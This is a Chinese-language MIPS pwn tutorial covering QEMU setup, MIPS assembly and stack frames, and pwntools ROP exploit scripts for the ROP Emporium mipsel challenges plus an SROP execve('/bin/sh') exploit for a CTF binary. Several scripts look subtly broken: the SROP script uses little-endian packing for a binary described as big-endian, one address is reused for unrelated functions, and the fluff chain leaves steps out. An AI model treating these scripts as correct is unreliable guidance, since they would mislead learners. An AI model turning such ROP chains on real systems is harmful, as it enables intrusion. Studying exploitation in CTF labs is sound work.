MIPS Pwn 快速上手实践指南
环境搭建
QEMU 环境配置
# 安装 QEMU 相关工具
sudo apt install qemu-system qemu-system-mips qemu-user-static qemu-utils qemu-web-desktop
# 安装调试工具
sudo apt install gdb gdb-multiarch
# 安装 pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
# 安装交叉编译工具链
sudo apt install gcc-mips-linux-gnu gcc-mipsel-linux-gnu
sudo apt install gcc-mips64-linux-gnuabi64 gcc-mips64el-linux-gnuabi64
# 安装 Python 环境
sudo apt install python3 python3-pip
系统模式模拟
下载镜像文件:
- 大端序:https://people.debian.org/~aurel32/qemu/mips/
- 小端序:https://people.debian.org/~aurel32/qemu/mipsel/
下载 debian_wheezy_mips_standard.qcow2 镜像文件和 vmlinux-3.2.0-4-4kc-malta 内核文件
网络配置
# 创建网桥
sudo ip link add name virbr0 type bridge
sudo ip addr add 192.168.6.1/24 dev virbr0
sudo ip link set dev virbr0 up
# 创建 TAP 接口
sudo ip tuntap add dev tap0 mode tap
sudo ip link set dev tap0 up
sudo ip link set dev tap0 master virbr0
启动 QEMU 系统模式
sudo qemu-system-mips \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
默认用户名密码:root:root
MIPS 架构简介
MIPS (Microprocessor without Interlocked Pipeline Stages) 是一种精简指令集计算机(RISC)架构,主要特点:
- 精简指令集:指令数量相对较少,每条指令功能单一
- 固定指令长度:所有指令都是32位(4字节)长度
- 流水线设计:支持高效的指令流水线执行
- 寄存器丰富:拥有32个通用寄存器
- 加载/存储架构:只有load/store指令能访问内存
- 延迟槽:分支和跳转指令后有一个延迟槽
字节序
MIPS程序有两种字节序:
大端序 (Big Endian)
- 最高有效字节存储在最低地址
- 人类阅读习惯一致
小端序 (Little Endian)
- 最低有效字节存储在最低地址
- Intel x86架构采用
示例:32位整数 0x12345678 存储在地址 0x1000
| 地址 | 大端序(MIPS BE) | 小端序(MIPSEL) |
|---|---|---|
| 0x1000 | 0x12 | 0x78 |
| 0x1001 | 0x34 | 0x56 |
| 0x1002 | 0x56 | 0x34 |
| 0x1003 | 0x78 | 0x12 |
MIPS 汇编速成
通用寄存器 (GPRs)
MIPS32 拥有32个32位的通用寄存器,编号从0到31:
| 寄存器编号 | 汇编助记名 | 约定用途 | 是否由被调用者保存 |
|---|---|---|---|
| $0 | $zero | 硬编码为常量 0 | 不适用 |
| $1 | $at | 汇编器临时寄存器 | 否 |
| \(2-\)3 | \(v0-\)v1 | 函数返回值和表达式求值 | 否 |
| \(4-\)7 | \(a0-\)a3 | 函数参数 | 否 |
| \(8-\)15 | \(t0-\)t7 | 临时寄存器 | 否 |
| \(16-\)23 | \(s0-\)s7 | 保存寄存器 | 是 |
| \(24-\)25 | \(t8-\)t9 | 临时寄存器 | 否 |
| \(26-\)27 | \(k0-\)k1 | 保留给操作系统内核 | 不适用 |
| $28 | $gp | 全局指针 | 是(通常) |
| $29 | $sp | 栈指针 | 是 |
| $30 | $fp | 帧指针 | 是 |
| $31 | $ra | 返回地址 | 否 |
数据传输指令
lw (Load Word) - 加载字
lw $rt, offset($rs) # 从内存加载32位数据到寄存器
sw (Store Word) - 存储字
sw $rt, offset($rs) # 将寄存器中32位数据存储到内存
lb/lh (Load Byte/Halfword)
lb $rt, offset($rs) # 加载字节,带符号扩展
lh $rt, offset($rs) # 加载半字,带符号扩展
sb/sh (Store Byte/Halfword)
sb $rt, offset($rs) # 存储字节
sh $rt, offset($rs) # 存储半字
算术运算指令
add/addi - 加法
add $rd, $rs, $rt # 寄存器间加法
addi $rt, $rs, imm # 立即数加法
sub - 减法
sub $rd, $rs, $rt # rd = rs - rt
mul - 乘法
mul $rd, $rs, $rt # 简单乘法,32位结果
mult $rs, $rt # 完整乘法,64位结果存入HI/LO
div - 除法
div $rs, $rt # rs ÷ rt → 商存入LO,余数存入HI
逻辑运算指令
and/andi - 与运算
and $rd, $rs, $rt # 寄存器间与运算
andi $rt, $rs, imm # 与立即数运算
or/ori - 或运算
or $rd, $rs, $rt # 寄存器间或运算
ori $rt, $rs, imm # 与立即数或运算
xor/xori - 异或运算
xor $rd, $rs, $rt # 寄存器间异或
xori $rt, $rs, imm # 与立即数异或
分支跳转指令
beq - 相等则跳转
beq $rs, $rt, label # 如果 rs == rt 则跳转到label
bne - 不等则跳转
bne $rs, $rt, label # 如果 rs != rt 则跳转到label
j - 无条件跳转
j label # 无条件跳转到label
jal - 跳转并链接
jal label # 跳转到label,同时将返回地址保存到ra
jr - 寄存器跳转
jr $rs # 跳转到rs寄存器中存储的地址
MIPS 栈的工作模式与栈帧
栈帧 (Stack Frame)
每次函数调用时,会在栈上为其创建一个区域,称为该函数的栈帧。栈帧包含与该函数调用相关的信息。
一个典型的栈帧可能包含(从高地址到低地址):
- 传递给当前函数的参数(如果参数数量超过 \(a0-\)a3)
- 返回地址 ($ra)
- 旧的帧指针 ($fp)
- 被调用者保存的寄存器 (\(s0-\)s7)
- 局部变量
- 临时空间
函数调用中的栈操作
函数序言 (Prologue):
- 调整 $sp 为当前函数栈帧分配空间
- 保存 \(ra 和旧的 \)fp 到栈上
- 设置新的 $fp
- 保存需要使用的 $s 寄存器到栈上
函数尾声 (Epilogue):
- 将返回值放入 \(v0 (和 \)v1)
- 从栈上恢复保存的 $s 寄存器
- 恢复旧的 \(fp 和 \)ra
- 调整 $sp 释放当前函数栈帧
- 使用 jr $ra 返回到调用者
MIPS ROP 基础
关于覆盖返回地址
在进入函数的时候,在栈帧初始化的时候保存到栈里:
addiu $sp, -0x20
sw $ra, 0x20+var_4($sp)
sw $fp, 0x20+var_8($sp)
在退出函数的时候,从栈上取回返回地址,进行跳转:
lw $ra, 0x20+var_4($sp)
lw $fp, 0x20+var_8($sp)
addiu $sp, 0x20
jr $ra
当发生栈溢出的时候,会覆盖到栈上的返回地址数据。
gadget 查询工具
主要用 IDA 插件 mipsrop 来查询:
https://github.com/fuzzywalls/ida/tree/master/plugins/mipsrop
搜索示例:
- 搜索寄存器控制 gadgets
- 搜索跳转 gadgets
MIPS ROP Emporium 练习
0x01 ret2win_mipsel
题目分析&利用分析
main函数:
int main() {
pwnme();
return 0;
}
ret2win函数提供flag:
void ret2win() {
puts("ROPE{a_placeholder_32byte_flag!}");
}
溢出点到返回地址的距离:32+4=0x24,直接覆盖返回地址为ret2win即可
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
payload = b'A' * 0x24
payload += p32(0x00400924) # ret2win地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './ret2win_mipsel'])
p.sendline(payload)
p.interactive()
0x02 split_mipsel
题目分析&利用分析
main函数:
int main() {
pwnme();
return 0;
}
溢出点到返回地址的距离依然是0x24
利用思路:
- 通过栈溢出控制返回地址到
0x00400A20(gadget) - 通过栈读取参数,控制a0的值和t9的值
- 执行system函数
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
payload = b'A' * 0x24
payload += p32(0x00400A20) # gadget地址
payload += p32(0x00410B0C) # "cat flag.txt"字符串地址
payload += p32(0x004009E8) # system函数地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './split_mipsel'])
p.sendline(payload)
p.interactive()
0x03 callme_mipsel
题目分析&利用分析
main函数:
int main() {
pwnme();
return 0;
}
需要按顺序调用callme1、callme2、callme3三个函数才能正确给出flag
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
# 构造ROP链
payload = b'A' * 0x24
payload += p32(0x00400B3C) # gadget地址
payload += p32(0x1) + p32(0x2) + p32(0x3) # 参数
payload += p32(0x004009E8) # callme1地址
payload += p32(0x00400B3C) # gadget地址
payload += p32(0x1) + p32(0x2) + p32(0x3) # 参数
payload += p32(0x00400A24) # callme2地址
payload += p32(0x00400B3C) # gadget地址
payload += p32(0x1) + p32(0x2) + p32(0x3) # 参数
payload += p32(0x00400A60) # callme3地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './callme_mipsel'])
p.sendline(payload)
p.interactive()
0x04 write4_mipsel
题目分析&利用分析
需要调用print_file函数用flag.txt的参数
利用思路:
- 通过gadget设置flag.txt到内存可写地方
- 然后通过gadget完成print_file的调用
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
# 构造ROP链
payload = b'A' * 0x24
# 写入flag.txt到内存
payload += p32(0x00400B10) # gadget1地址
payload += p32(0x00411000) # 可写地址
payload += b'flag' # 字符串第一部分
payload += p32(0x00400B10) # gadget1地址
payload += p32(0x00411004) # 可写地址+4
payload += b'.txt' # 字符串第二部分
# 调用print_file
payload += p32(0x00400B34) # gadget2地址
payload += p32(0x00411000) # flag.txt字符串地址
payload += p32(0x004009E8) # print_file地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './write4_mipsel'])
p.sendline(payload)
p.interactive()
0x05 badchars_mipsel
题目分析&利用分析
输入里如果有xga.四个字符,就会被替换成0xeb
利用思路:
- 找个可写地址保存字符串
- 通过gadget写入flag.txt,分两次写
- 对可写地址的值进行异或操作,让0xeb变回原本的值
- 跳转到print_file调用
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
# 构造ROP链
payload = b'A' * 0x24
# 写入flag.txt到内存
payload += p32(0x00400B10) # gadget1地址
payload += p32(0x00411000) # 可写地址
payload += b'fla' # 字符串第一部分
payload += p32(0x00400B10) # gadget1地址
payload += p32(0x00411003) # 可写地址+3
payload += b'g.t' # 字符串第二部分
payload += p32(0x00400B10) # gadget1地址
payload += p32(0x00411006) # 可写地址+6
payload += b'xt' # 字符串第三部分
# 异或操作恢复被替换的字符
payload += p32(0x00400B28) # gadget2地址
payload += p32(0xeb ^ 0x67) # 异或值
payload += p32(0x00411003) # 需要异或的地址
payload += p32(0x00400B28) # gadget2地址
payload += p32(0xeb ^ 0x2e) # 异或值
payload += p32(0x00411005) # 需要异或的地址
# 调用print_file
payload += p32(0x00400B34) # gadget3地址
payload += p32(0x00411000) # flag.txt字符串地址
payload += p32(0x004009E8) # print_file地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './badchars_mipsel'])
p.sendline(payload)
p.interactive()
0x06 fluff_mipsel
题目分析&利用分析
利用思路:
- 将字符串的值写入s1寄存器,可写地址的值保存到s0中
- 将字符串的地址写入a0,跳转print_file
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
# 构造ROP链
payload = b'A' * 0x24
# 设置s0=0
payload += p32(0x00400B04) # gadget1地址
# 设置s2=0x00411000 (可写地址)
payload += p32(0x00400B10) # gadget2地址
payload += p32(0x00411000) # 可写地址
# 异或s1=s1^s2 (s1=0^0x00411000=0x00411000)
payload += p32(0x00400B1C) # gadget3地址
# s0和s1交换 (s0=0x00411000, s1=0)
payload += p32(0x00400B28) # gadget4地址
# 设置s2='flag'
payload += p32(0x00400B10) # gadget2地址
payload += b'flag' # 字符串第一部分
# 异或s1=s1^s2 (s1=0^'flag'='flag')
payload += p32(0x00400B1C) # gadget3地址
# 保存s1到s0指向的地址
payload += p32(0x00400B34) # gadget5地址
# 重复上述过程写入'.txt'
# ... (省略类似代码)
# 调用print_file
payload += p32(0x00400B40) # gadget6地址
payload += p32(0x00411000) # flag.txt字符串地址
payload += p32(0x004009E8) # print_file地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './fluff_mipsel'])
p.sendline(payload)
p.interactive()
0x07 pivot_mipsel
题目分析&利用分析
利用思路:
- gadget4完成迁移
- 调用foothold_function让got表中解析出其在so的地址
- 计算foothold_function和ret2win的偏移
- 计算ret2win的地址
- 执行ret2win
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
# 第一次输入 - 栈迁移后的ROP链
rop_chain = p32(0x00400B10) # gadget1地址
rop_chain += p32(0x004009E8) # foothold_function地址
rop_chain += p32(0x00400B28) # gadget2地址
rop_chain += p32(0x00411000) # foothold_function的got地址
rop_chain += p32(0x00400B34) # gadget3地址
rop_chain += p32(0x00411000) # foothold_function的实际地址
rop_chain += p32(0x00400B40) # gadget4地址
# 计算ret2win地址 = foothold_function地址 + 偏移
rop_chain += p32(0x00400B4C) # gadget5地址
rop_chain += p32(0x00400B58) # ret2win地址
# 第二次输入 - 栈迁移
payload = b'A' * 0x24
payload += p32(0x00400B04) # gadget4地址 (栈迁移)
payload += p32(0x00411000) # 新的栈地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './pivot_mipsel'])
p.sendline(rop_chain)
p.sendline(payload)
p.interactive()
0x08 ret2csu_mipsel
题目分析&利用分析
利用思路:
通过csu的片段完成参数控制和ret2win的调用
exp 核心代码
from pwn import *
context.arch = 'mips'
context.endian = 'little'
# 构造ROP链
payload = b'A' * 0x24
payload += p32(0x004009C0) # csu_init地址
payload += p32(0x1) + p32(0x2) + p32(0x3) # 参数
payload += p32(0x004009A0) # csu_gadget地址
payload += p32(0x004009E8) # ret2win地址
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './ret2csu_mipsel'])
p.sendline(payload)
p.interactive()
ROP进阶技巧:SROP,比赛真题分析
题目来源:The Cyber Jawara International 2024 - mipsssh
题目情况
- 静态链接的mips32 msb程序
- 没有PIE
- 存在栈溢出漏洞
利用分析
利用思路:
- 通过srop进行栈迁移,设置sp到.bss段上,然后设置pc到main函数重新开始执行
- 通过srop进行syscall调用execve
完整exp
from pwn import *
context.arch = 'mips'
context.endian = 'little'
# 构造SROP frame
frame = SigreturnFrame()
frame.ra = 0x00400000 # main函数地址
frame.sp = 0x00411000 # 新的栈地址
frame.pc = 0x004005A0 # syscall指令地址
# 第一次输入 - 栈迁移
payload1 = b'A' * 0x24
payload1 += p32(0x004005A0) # syscall指令地址
payload1 += bytes(frame)
# 第二次输入 - execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.a0 = 0x00411000 # "/bin/sh"字符串地址
frame2.a1 = 0
frame2.a2 = 0
frame2.v0 = 4011 # execve系统调用号
frame2.pc = 0x004005A0 # syscall指令地址
payload2 = b'/bin/sh\x00'
payload2 += p32(0x004005A0) # syscall指令地址
payload2 += bytes(frame2)
p = process(['qemu-mipsel', '-L', '/usr/mipsel-linux-gnu', './mipsssh'])
p.sendline(payload1)
p.sendline(payload2)
p.interactive()
总结
MIPS架构下的Pwn技术要点:
- 理解MIPS架构特点:固定指令长度、加载/存储架构、延迟槽等
- 掌握MIPS寄存器用途和调用约定
- 熟悉MIPS栈帧结构和函数调用过程
- 掌握MIPS ROP构造技巧,特别是参数传递和跳转控制
- 学会使用SROP等高级ROP技术
- 熟练使用QEMU模拟和调试MIPS程序
通过ROP Emporium的8个练习,可以系统掌握MIPS ROP的各种技巧,从简单到复杂逐步提升。